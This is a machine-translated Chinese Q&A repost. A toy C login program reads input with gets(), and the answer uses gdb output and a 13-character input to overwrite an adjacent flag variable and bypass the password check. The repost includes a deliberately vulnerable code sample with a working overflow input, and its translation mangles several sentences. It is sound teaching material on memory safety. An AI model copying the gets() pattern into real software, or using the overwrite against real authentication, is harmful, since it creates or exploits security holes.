我需要在下面的示例代码中调用登录函数。我们可以通过使用缓冲区溢出攻击直接将返回地址更改为登录函数来实现。但是我需要将寄信人地址保持不变。还有其他方法可以在不更改返回地址的情况下打印已登录的消息吗?
char getPass()
{
int flag = 'F';
char pass[10];
gets(pass);
return (char) flag;
}
void login()
{
printf("Logged in");
exit(0);
}
void main()
{
printf("Enter Passwd");
if(getPass() == 'T')
{
login();
}else{
print("Failed");
exit(1);
}
}
使之生效取决于编译器如何决定排列变量。如果flag
在后面出现在内存中pass
,则输入的字符数pass
将超过保留的字符数,从而导致flag
被覆盖。
当我在调试器中运行该程序并打印这些变量的地址时,得到以下信息:
(gdb) start
Temporary breakpoint 1 at 0x40060e: file x1.c, line 19.
Starting program: /home/dbush/./x1
Temporary breakpoint 1, main () at x1.c:19
19 printf("Enter Passwd");
Missing separate debuginfos, use: debuginfo-install glibc-2.17-292.el7.x86_64
(gdb) step
20 if(getPass() == 'T')
(gdb)
getPass () at x1.c:6
6 int flag = 'F';
(gdb)
8 gets(pass);
(gdb) p pass
$1 = "\000\000\000\000\000\000\000\000", <incomplete sequence \341>
(gdb) p &pass
$2 = (char (*)[10]) 0x7fffffffdec0
(gdb) p &flag
$3 = (int *) 0x7fffffffdecc
我们可以看到,在此特定实例中,flag
它比的开头晚12个字节pass
。我的机器也是little-endian,这意味着4个字节中的第一个flag
包含要覆盖的值。
因此,我们可以通过输入13个字符(最后一个是)来利用缓冲区溢出漏洞T
。这将导致写入10个字符pass
,在pass
和之间的填充字节再写入两个flag
字符,T
在的第一个字节写入字符,flag
在的第二个字节将终止的空字节写入0 flag
。现在,变量flag
包含'T'
从函数返回的内容。
还要注意,这样做不会将过去flag
写入函数的返回值。这是可能的,因为flag
是int
和使用little endian字节顺序。
样本输入/输出:
[dbush@db-centos7 ~]$ ./x1
Enter Passwd1234567890TTT
Logged in[dbush@db-centos7 ~]$
本文收集自互联网,转载请注明来源。
如有侵权,请联系 [email protected] 删除。
我来说两句